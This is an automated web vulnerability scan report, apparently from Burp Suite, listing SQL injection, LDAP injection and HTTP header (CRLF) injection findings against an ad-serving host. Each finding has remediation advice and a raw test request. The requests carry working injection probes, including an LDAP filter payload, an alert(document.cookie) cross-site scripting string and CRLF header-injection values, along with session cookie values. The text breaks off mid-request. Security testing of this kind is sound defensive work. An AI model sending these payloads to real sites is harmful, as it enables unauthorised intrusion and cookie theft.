The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 3, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Issue background
SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Issue remediation
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
Request 1
GET /h.click/aQmNQCR6fK2WFm0tZbInH2x46MQ4GnaVcBcVVJfPP3OUtnTUbMX3raqWqvtTEJdSaMZdRVBCPb6pSWMcWcQR5F6vnWqm0qmn2WbFSGbC2AnHpHPtVWJ7YrfaXUFj0TeMRbUZcUbvYWHM3orYmQFfo1qvq4qbl2a7fs21jlE/http:'/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/FarmersDirect/2011Q1/A_TX/300/L44/902448725/x90/USNetwork/FarmD_2011Q1_TRIBALF_A_TX_300/FarmersDirect_2011Q1.html/72634857383030695a694d41416f6366?;ord=902448725? HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
GET /h.click/aQmNQCR6fK2WFm0tZbInH2x46MQ4GnaVcBcVVJfPP3OUtnTUbMX3raqWqvtTEJdSaMZdRVBCPb6pSWMcWcQR5F6vnWqm0qmn2WbFSGbC2AnHpHPtVWJ7YrfaXUFj0TeMRbUZcUbvYWHM3orYmQFfo1qvq4qbl2a7fs21jlE/http:''/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/FarmersDirect/2011Q1/A_TX/300/L44/902448725/x90/USNetwork/FarmD_2011Q1_TRIBALF_A_TX_300/FarmersDirect_2011Q1.html/72634857383030695a694d41416f6366?;ord=902448725? HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The size parameter appears to be vulnerable to LDAP injection attacks.
The payloads *)(sn=* and *)!(sn=* were each submitted in the size parameter. These two requests resulted in different responses, indicating that the input may be being incorporated into a conjunctive LDAP query in an unsafe manner.
Issue background
LDAP injection arises when user-controllable data is copied in an unsafe way into an LDAP query that is performed by the application. If an attacker can inject LDAP metacharacters into the query, then they can interfere with the query's logic. Depending on the function for which the query is used, the attacker may be able to retrieve sensitive data to which they are not authorised, or subvert the application's logic to perform some unauthorised action.
Note that automated difference-based tests for LDAP injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Issue remediation
If possible, applications should avoid copying user-controllable data into LDAP queries. If this is unavoidable, then the data should be strictly validated to prevent LDAP injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into queries, and any other input should be rejected. At a minimum, input containing any LDAP metacharacters should be rejected; characters that should be blocked include ( ) ; , * | & = and whitespace.
Request 1
GET /j.ad?site=nydailynewscom&adSpace=ros&tagKey=1282868635&th=24526296851&tKey=aVmn6ySVfC4AvEpWInUWZbPudZbi90&size=*)(sn=*&p=4068932&a=1&flashVer=10&ver=1.20¢er=1&url=http%3A%2F%2Fwww.nydailynews.com%2Fblogs70f75'%253balert(document.cookie)%2F%2F84f766b9c15%2Fjets%2F2011%2F01%2Flive-chat-friday-noon-1&rurl=http%3A%2F%2Fburp%2Fshow%2F4&f=0&rnd=4069925 HTTP/1.1 Host: a.tribalfusion.com Proxy-Connection: keep-alive Referer: http://www.nydailynews.com/blogs70f75'%3balert(document.cookie)//84f766b9c15/jets/2011/01/live-chat-friday-noon-1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ANON_ID=aEn51LRZdySO6IUMsYExOjh1oBlrc7bJ8Za02ysiMOWruOZbe8aQHWTJ8WFv9mbElFFCFAwmoSrGk5x451A6bOHntMcsnInNDGLCwrScLQLMZaZb1Ncmcf7K20KbT57np199FZaw0mLWCH3AI5YJ0Wu36N55DyVPRBluxr7Bd5gBBXYkqRUe9UmE3CjxKLRFZcGvULfwumB2EKIn6QgbjSZcpCQcvO7WyZcQFe5mtDTRxdQZcIKWq8vfRhb6rjYSsPAM4QAsdVAed20A8B7YI0bHtTZatU7uo6f2JsWE7JrIZcnCEDooMfNC2sNZavfrtdRR9acdOQurFTy82SWn4nUGHFJMcjNnQ7dfKlmsY
HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
The value of the ;ord request parameter is copied into the Location response header. The payload 8821f%0d%0a998b2e99413 was submitted in the ;ord parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/a0mNYDpdIo56JW4sU7TGJaVcBgS6ZbyWdZbVTFJ15bErWaYmVEJdQEvJSVFZaRbunStY7Ucr54UunnWypYquM3WbFPGJZa5AJZcoWEyTtQ9Yrb61Uj70TqtRrnZbUFnXWdU2orBmRbfmYTvn5EUc4TYYnTnHYr7bUtMXyprwxq6uMx/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/874556783/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366?;ord=8821f%0d%0a998b2e99413 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 10 is copied into the Location response header. The payload 81a35%0d%0a3ed9f4f3faf was submitted in the REST URL parameter 10. This caused a response containing an injected HTTP header.
Request
GET /h.click/a0mNYDpdIo56JW4sU7TGJaVcBgS6ZbyWdZbVTFJ15bErWaYmVEJdQEvJSVFZaRbunStY7Ucr54UunnWypYquM3WbFPGJZa5AJZcoWEyTtQ9Yrb61Uj70TqtRrnZbUFnXWdU2orBmRbfmYTvn5EUc4TYYnTnHYr7bUtMXyprwxq6uMx/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/81a35%0d%0a3ed9f4f3faf/CT/728/L44/874556783/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 11 is copied into the Location response header. The payload df046%0d%0ab61ace5dcb9 was submitted in the REST URL parameter 11. This caused a response containing an injected HTTP header.
Request
GET /h.click/a0mNYDpdIo56JW4sU7TGJaVcBgS6ZbyWdZbVTFJ15bErWaYmVEJdQEvJSVFZaRbunStY7Ucr54UunnWypYquM3WbFPGJZa5AJZcoWEyTtQ9Yrb61Uj70TqtRrnZbUFnXWdU2orBmRbfmYTvn5EUc4TYYnTnHYr7bUtMXyprwxq6uMx/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/df046%0d%0ab61ace5dcb9/728/L44/874556783/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 12 is copied into the Location response header. The payload 38ffa%0d%0a47ffac444ce was submitted in the REST URL parameter 12. This caused a response containing an injected HTTP header.
Request
GET /h.click/a0mNYDpdIo56JW4sU7TGJaVcBgS6ZbyWdZbVTFJ15bErWaYmVEJdQEvJSVFZaRbunStY7Ucr54UunnWypYquM3WbFPGJZa5AJZcoWEyTtQ9Yrb61Uj70TqtRrnZbUFnXWdU2orBmRbfmYTvn5EUc4TYYnTnHYr7bUtMXyprwxq6uMx/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/38ffa%0d%0a47ffac444ce/L44/874556783/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 13 is copied into the Location response header. The payload 2a2b8%0d%0a0c1225ded6 was submitted in the REST URL parameter 13. This caused a response containing an injected HTTP header.
Request
GET /h.click/a0mNYDpdIo56JW4sU7TGJaVcBgS6ZbyWdZbVTFJ15bErWaYmVEJdQEvJSVFZaRbunStY7Ucr54UunnWypYquM3WbFPGJZa5AJZcoWEyTtQ9Yrb61Uj70TqtRrnZbUFnXWdU2orBmRbfmYTvn5EUc4TYYnTnHYr7bUtMXyprwxq6uMx/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/2a2b8%0d%0a0c1225ded6/874556783/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 14 is copied into the Location response header. The payload c89af%0d%0a0d3b2c9d2c9 was submitted in the REST URL parameter 14. This caused a response containing an injected HTTP header.
Request
GET /h.click/a0mNYDpdIo56JW4sU7TGJaVcBgS6ZbyWdZbVTFJ15bErWaYmVEJdQEvJSVFZaRbunStY7Ucr54UunnWypYquM3WbFPGJZa5AJZcoWEyTtQ9Yrb61Uj70TqtRrnZbUFnXWdU2orBmRbfmYTvn5EUc4TYYnTnHYr7bUtMXyprwxq6uMx/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/c89af%0d%0a0d3b2c9d2c9/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 15 is copied into the Location response header. The payload 6ed4a%0d%0a7f5049d3d31 was submitted in the REST URL parameter 15. This caused a response containing an injected HTTP header.
Request
GET /h.click/a0mNYDpdIo56JW4sU7TGJaVcBgS6ZbyWdZbVTFJ15bErWaYmVEJdQEvJSVFZaRbunStY7Ucr54UunnWypYquM3WbFPGJZa5AJZcoWEyTtQ9Yrb61Uj70TqtRrnZbUFnXWdU2orBmRbfmYTvn5EUc4TYYnTnHYr7bUtMXyprwxq6uMx/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/874556783/6ed4a%0d%0a7f5049d3d31/USNetwork/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 16 is copied into the Location response header. The payload db4cb%0d%0a91914b3fee4 was submitted in the REST URL parameter 16. This caused a response containing an injected HTTP header.
Request
GET /h.click/a0mNYDpdIo56JW4sU7TGJaVcBgS6ZbyWdZbVTFJ15bErWaYmVEJdQEvJSVFZaRbunStY7Ucr54UunnWypYquM3WbFPGJZa5AJZcoWEyTtQ9Yrb61Uj70TqtRrnZbUFnXWdU2orBmRbfmYTvn5EUc4TYYnTnHYr7bUtMXyprwxq6uMx/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/874556783/x90/db4cb%0d%0a91914b3fee4/RS_SELL_2011Q1_TF_CT_728/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 17 is copied into the Location response header. The payload 519bd%0d%0af6f1a5ca6fc was submitted in the REST URL parameter 17. This caused a response containing an injected HTTP header.
Request
GET /h.click/a0mNYDpdIo56JW4sU7TGJaVcBgS6ZbyWdZbVTFJ15bErWaYmVEJdQEvJSVFZaRbunStY7Ucr54UunnWypYquM3WbFPGJZa5AJZcoWEyTtQ9Yrb61Uj70TqtRrnZbUFnXWdU2orBmRbfmYTvn5EUc4TYYnTnHYr7bUtMXyprwxq6uMx/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/874556783/x90/USNetwork/519bd%0d%0af6f1a5ca6fc/RadioShack_SELL_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 18 is copied into the Location response header. The payload 8383b%0d%0afea7a730776 was submitted in the REST URL parameter 18. This caused a response containing an injected HTTP header.
Request
GET /h.click/a0mNYDpdIo56JW4sU7TGJaVcBgS6ZbyWdZbVTFJ15bErWaYmVEJdQEvJSVFZaRbunStY7Ucr54UunnWypYquM3WbFPGJZa5AJZcoWEyTtQ9Yrb61Uj70TqtRrnZbUFnXWdU2orBmRbfmYTvn5EUc4TYYnTnHYr7bUtMXyprwxq6uMx/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/RadioShack/SELL_2011Q1/CT/728/L44/874556783/x90/USNetwork/RS_SELL_2011Q1_TF_CT_728/8383b%0d%0afea7a730776/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 